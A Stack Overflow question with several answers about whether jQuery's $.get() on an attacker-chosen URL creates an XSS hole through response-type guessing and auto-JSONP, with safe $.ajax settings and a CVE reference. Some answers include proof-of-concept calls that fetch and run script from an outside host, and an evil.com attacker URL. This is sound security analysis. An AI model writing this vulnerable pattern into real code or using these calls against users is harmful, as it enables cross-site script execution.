21

I recently learned that jQuery's $.getJSON() is not safe to call on an untrusted URL. What about $.get()? Is jQuery's $.get() safe to call when the URL parameter comes from an untrusted source, or is this insecure?

This came up in a security code review I was doing, to check for XSS vulnerabilities. Example code pattern:

$.get(url, function (...) { ... })

Does this code pattern create a XSS vulnerability, if an attacker chooses url maliciously?

Please assume that the function will handle the response from the AJAX request safely, and that url comes from an untrusted source (e.g., some other user) and can be completely controlled by the adversary.

My concern: if url is chosen by an attacker, can an attacker choose a malicious URL (e.g., containing callback=? and pointing to their own site, or something clever like that) that causes jQuery to guess that the data type should be JSONP, enable JSONP, insert a script tag into the document, and introduce a XSS vulnerability in the same way that getJSON() does? (Since I'm not passing an explicit dataType argument to $.get(), jQuery will guess the data type, as described in the docs. I'm not sure what the security implications of that are.)

I ran across this code pattern in code review, and I'm trying to understand whether it is a potential vulnerability. I'm not looking for alternative ways this code could be written; instead, I want to know whether this kind of code pattern is secure as is.


Since the threat model is a bit tricky, let me give an example to help understand this better. Suppose Bob is a user of the service and he can provide a URL that's associated with his profile. Suppose that when Alice visits Bob's profile page in her browser, the Javascript code on the page takes the URL that Bob provided and passes it as an argument to $.get(). The question is, is this safe? Could Bob use this to attack Alice? Could Bob trigger Alice's browser to execute arbitrary Javascript code, with all of Alice's power? As the linked question explains, $.getJSON() is unsafe in this scenario -- but what about $.get()? Is it unsafe too, or is it safe?


Since I got some requests for clarification, let me try explaining/asking the question a different way. Suppose I'm doing a code review to check whether some Javascript code contains any XSS vulnerabilities, and I see the following line of code:

$.get(url, function(resp) { /* do nothing */ });

Suppose I know that url can be completely controlled by the attacker. Is this automatically a XSS vulnerability? Or is this always safe? Or if the answer is "it depends", what does it depend on?

Or, yet another way to think about this. Suppose I'm doing a code review and I see the following line of code:

$.get(url, f);

Suppose I know that url can be completely controlled by the attacker. What do I need to check, to verify whether this is safe (free of XSS bugs)? I am aware that I need to check the code of f to see whether it handles the response safely, because if f is careless it could introduce a XSS bug. My question is: is that the only thing I need to check for? Or is this code pattern always an XSS vulnerability, regardless of how f is coded?

Community
  • 1
  • 1
D.W.
  • 3,382
  • 7
  • 44
  • 110
  • @guest271314, safe = does not introduce a XSS vulnerability. If it can be used by the attacker to cause execution of arbitrary attacker-chosen Javascript code, it's not safe. (For instance, getJSON is not safe -- see http://stackoverflow.com/q/29044209/781723 for why.) Does that answer your question? If not, can you elaborate on how I could make this clearer or what is unclear to you? – D.W. Mar 16 '15 at 01:20
  • How could a developer declare anything to be 100% "safe" ? Given the above criteria, to label the process "safe", the developer may be inclined to _first_ test _all_ of the known potential ways the network communication could be interfered with ? Even then, suggesting something "safe = **does not** introduce a XSS vulnerability" at 100% may discount any "potential" unknown 0.0001% that could appear at an inopportune moment ? See also https://www.owasp.org/images/5/52/OWASP_Testing_Guide_v4.pdf , http://resources.infosecinstitute.com/how-to-prevent-cross-site-scripting-attacks/ – guest271314 Mar 16 '15 at 15:25
  • 6
    @guest271314, either it introduces a XSS vulnerability or it doesn't. (Whether the network communication can be interfered with is irrelevant to my question, so I don't understand why you are bringing it up.) I think my question is quite reasonable. Thank you for the link to the OWASP document, but that did not help me. I'm already [quite familiar](http://security.stackexchange.com/users/971/d-w) with basic material on computer security; I'm not looking for basic resources, but rather the answer to a very specific question that's relevant to code review of a particular coding pattern. – D.W. Mar 16 '15 at 16:41

6 Answers6

11

 Does this code pattern create a XSS vulnerability, if an attacker chooses url maliciously?

Edit: yes, but not for the reason in your question.

The weird auto-JSONP feature is internally applied to AJAX requests using ajaxPrefilter("json jsonp"). So it applies to the json prefilter list but not other types or the default *. However, prefilters apply before the response occurs, so this can't happen just because the server replies with a JSON-like type.

(Currently—as of 1.11.2—the docs for getJSON don't describe the circumstances under which this potentially-dangerous behaviour fires exactly. And the docs for get and ajax don't mention auto-JSONP at all. So maybe it should be considered a bug. Certainly given how poorly-specified this is, I would not rely on it staying the same in future versions of jQuery.)

The actual reason it's vulnerable (as demonstrated by framp and toothbrush) is that without a dataType parameter jQuery will guess one from the response. If the attacker's URL hits a resource served as a JS-like Content-Type, jQuery will guess it is JavaScript and eval it. Note: for the AJAX request to get far enough for this to work, for a resource on a third-party server, it would have to include CORS headers.

$.get(url, function (...) { ... }, 'json');

This version is not vulnerable to the response type guessing. However, it is vulnerable to the auto-JSONP filter.

To be safe, you have to both set the dataType option and, if that option is json, also the jsonp: false option. Unfortunately, you can't set the jsonp option in the get() method. You should be able to do it by passing in an options dictionary instead of parameters, but you can't because this API is currently completely non-functional due to jQuery being a sad mess of broken Do-What-I-Mean APIs whose behaviour it is (increasingly) difficult to predict.

So the only safe way to fetch JSON from an untrusted URL is via basic ajax:

$.ajax(url, {dataType: 'json', jsonp: false});
bobince
  • 528,062
  • 107
  • 651
  • 834
9

jQuery.get does pose an XSS security risk.

If you look at the source for jQuery (or the documentation for jQuery.get), you will see that jQuery.get and jQuery.post are just wrappers for jQuery.ajax({ url: url, data: data, success: success, dataType: dataType });.

There are two problems here:

  1. If dataType is jsonp, or the URL ends in =? and dataType is json, jQuery will try to make a JSONP request and then eval the script.
  2. If the response is a script, jQuery will execute that script unless dataType is json and the jsonp option is set to false.

So if you set dataType to json, and jsonp to false, it is safe to call jQuery.get for an unknown URL.

Vulnerable script

$.get(url, function(...) { ... });

See the example on JSFiddle.

Safe script

$.ajax(url, { jsonp: false, dataType: 'json' }).done(function(...) { ... });

See the example on JSFiddle.

Toothbrush
  • 2,080
  • 24
  • 33
  • jQuery has to decide BEFORE making a XHR request (and subsequently getting the headers back) if it's going to make a XHR request to the remote URL or if it's going to create a script element and set the `src` to the remote URL. So the information returned by the server cannot be accounted in the decision of switching to JSONP mode. (cont) – framp Mar 21 '15 at 19:19
  • (cont) Your concern is valid because the headers will be used to execute the script - but it has nothing to do with JSONP and the `=?` URL. – framp Mar 21 '15 at 19:21
  • The ‘safe’ example is breaking... it seems like the entire `jQuery.get( [settings ] )` API is a complete fail as you end up with a url-in-url-in-url. – bobince Mar 21 '15 at 19:35
  • See the console message... it's trying to fetch http://fiddle.jshell.net/toothbrush7777777/w8Lfrqzg/1/show/[object%20Object]. If you step through what `get` and `ajax` are doing it seems jQ is quite broken here. – bobince Mar 21 '15 at 19:40
  • OK, so turns out there are two different vulnerabilities here. The first is the one the OP is talking about where **requests** are automatically converted to JSONP requests. My answer covers what happens in that case. Then there is automatic interpretation of **responses** as scripts, which is what your vulnerable example is doing here. But this isn't to do with the `jsonp` parameter and it happens *even if you omit* `callback=?` in the example. – bobince Mar 21 '15 at 20:09
  • @bobince I've updated my answer to include all the relevant details from your comments. – Toothbrush Mar 24 '15 at 13:21
5

It depends.

TL;DR Yes, it's unsafe in certain cases.

If:

  • You're not using Content Security Policy to filter outwards request (caniuse)
  • The client browser support CORS (caniuse)
  • The attacker can choose the URL

Then the attacker can execute JS on your page.

A malicious server with a matching protocol, the right CORS headers (Access-Control-Allow-Origin: *) will be able to execute JS on your page thanks to jQuery automatic detection from the Content-Type header (which for JS will be script).

Example you can try on this page on stackoverflow (assuming you're on http):

$.get('http://zensuite.net/js/alert.js', console.log.bind(console));

If you want to see what happens if the CORS headers are not set:

$.get('https://zensuite.net/js/alert.js', console.log.bind(console));

Talking about your hypothesis instead, you won't likely manage to make jQuery transform a normal XHR request into a remote inclusion of a script.

After looking briefly at the code I think this won't likely happen (unless there is a bug somewhere), because you can switch to "remote script mode" only before asking for a transport and if your dataType is

  • json when the URL match the rjsonp regex /(=)\?(?=&|$)|\?\?/;
  • jsonp
  • script

These are also vulnerable:

$.get('https://zensuite.net/js/alert.js?callback=?', console.log.bind(console), 'json');
$.get('https://zensuite.net/js/alert.js', console.log.bind(console), 'jsonp');
$.get('https://zensuite.net/js/alert.js', console.log.bind(console), 'script');

This is of course not relevant for the question, given the fact you can just use $.get to execute remote code.

framp
  • 813
  • 11
  • 22
  • Can you explain what CORS has to do with this, please? – Bergi Mar 21 '15 at 16:37
  • If CORS is not supported on the client browser the remote XHR to another domain will fail. Given the fact that you can't force JSONP on a $.get with undefined dataType in theory you should be covered from XSS. But almost every browser out there support CORS (it's not supported on – framp Mar 21 '15 at 18:53
  • Do you mean that jQuery evals contents fetched via XHR (which works only with CORS)? I thought you'd need to specify beforehand (e.g. via the url pattern) that it should use JSONP. – Bergi Mar 21 '15 at 19:55
  • 3
    @Bergi: yes, when that resource is served with a JavaScript Content-Type. And yes, this seems like a super bad idea. – bobince Mar 21 '15 at 20:51
1

That is a good point. But how about forcing the data-type format to ensure it won't be used as JSONP

$.ajax({
    url: url,
    data: data,
    success: success,
    dataType: dataType  // force text/plain 
});

The acutal $.getJSON() is used for convenience when we want to speed up on parsing, so if you are really aware of security use customised $.ajax() calls.

More info: http://api.jquery.com/jquery.ajax/

Piotr Dajlido
  • 1,982
  • 15
  • 28
  • 1
    Thank you for the suggestion. However, I'm doing code review and I found code of the pattern listed in my question. I want to understand whether that code is vulnerable. I can't change the code (unless I have evidence that is vulnerable). So my question is: is the pattern vulnerable or not? I'm not really looking for alternatives at this point -- instead, I'm looking for information whether the existing code is safe or not. – D.W. Mar 14 '15 at 01:11
  • 1
    I think this is a decent answer to your question from a programming point of view. Without thoroughly checking the jQuery code for exploits and/or a lot of testing you can't be sure. Given your threat model of "Alice creates a URL that is then used in an ajax function by Eve's browser." I would want to be as safe and explicit with my code as possible to avoid any loopholes just in case they exist. Doing that is going to be a lot less time and effort than trying to confirm a vulnerability before writing the code safer (or recommending the code be rewritten in a code review). – Mike D. Mar 21 '15 at 02:04
1

This is an XSS vulnerability for jQuery < 3.0.0, according to https://nvd.nist.gov/vuln/detail/CVE-2015-9251

jQuery before 3.0.0 is vulnerable to Cross-site Scripting (XSS) attacks when a cross-domain Ajax request is performed without the dataType option, causing text/javascript responses to be executed.

Phil McCullick
  • 7,175
  • 2
  • 29
  • 29
-3

You know, that hacker could simply open the dev console and write any $.get he wants, he doesn't even have to change your url variable. In fact, he can run absolutely any code he wants, as long as it doesn't interfer with the same domain policy. The whole point of client side security is make sure the guy could only hack himself.

So no need to try to secure anything client side, the idea is you cannot trust anything that comes from the browser, so you should always check the data received in your server, and allow minimal interfacing between the two (know your parameters, their types, etc).

floribon
  • 19,175
  • 5
  • 54
  • 66
  • 3
    Thank you for the comment, but I'm afraid you've overlooked a subtlety of the threat model. (Hey, this is tricky stuff; I don't blame you.) I've edited the question to clarify. In a nutshell: Suppose Alice is viewing the page, and the url came from Bob (e.g., Alice is viewing Bob's profile, and Bob can specify a url that will be fetched by Alice's browser when she views Bob's profile). So, I'm afraid your answer doesn't answer the question. See also the question about getJSON() for more elaboration/discussion of this. – D.W. Mar 14 '15 at 01:44
  • Oh I see. Well `$.get` is just an ajax call that will fail on a cross domain (and which would you make safe on yours) so I'm not sure how he could be malicious. But I'm no expert and I understand it's deeper than I thought. – floribon Mar 14 '15 at 01:45
  • After reading the other JSON question I'd suggest the same, don't use jQuery, and it depends on what you want to do with the result. If you know its format you can manually parse it. In all cases obviously don't `eval` it (that's one of the pretty few scenarios where eval is evil, althought many people think it always is) – floribon Mar 14 '15 at 01:50
  • Actually, that's not correct: `$.get()` is not guaranteed to fail on a cross-domain URL. The key point here is that the attacker can choose the URL, so he could choose the URL to point to his own site (a site he controls). Say the attacker provides the URL `http://evil.com/something`, where the attacker controls the site `evil.com`. Then he can configure `evil.com` so the cross-domain call won't fail. (Details: jQuery will somehow select between a script-tag transport and a XHR transport, using magic I don't quite understand. (cont.) – D.W. Mar 14 '15 at 01:51
  • (cont.) If jQuery selects the script-tag transport, the cross-domain call will succeed, and there'll be a XSS vulnerability. If jQuery selects the XHR transport, the cross-domain call still succeed if the attacker configures `evil.com` with the appropriate CORS headers to allow cross-domain calls -- though in this case there should be no XSS vulnerability. Unfortunately, I find it hard to tell exactly how jQuery guesses which transport to use -- this might depend on the URL, and thus I can't rule out the possibility that an attacker can influence this choice. See the getJSON() question.) – D.W. Mar 14 '15 at 01:53
  • Thank you for the suggestion about how to avoid this problem (don't use jQuery). Unfortunately, that doesn't really help me right now. As I mentioned in my comment on the other answer and in my revised question, my real question is whether this code pattern is vulnerable. I came across this code in code review, and I almost certainly won't be able to convince others to change the code and drop jQuery unless we know that the code is vulnerable. So I'm back to the original question: is this use of `$.get()` vulnerable or not? – D.W. Mar 14 '15 at 01:55
  • Well why do you want to get an unknown URL in the first place? You cannot do anything with it if it's arbitrary, so I'll assume you have some information about the kind of url it can be. In this case check the url against some whitelist for instance. Otherwise could you precise your use case? Also I suggest you read http://stackoverflow.com/questions/205923/best-way-to-handle-security-and-avoid-xss-with-user-entered-urls or http://security.stackexchange.com/questions/54706/how-to-prevent-xss-from-url. – floribon Mar 14 '15 at 07:59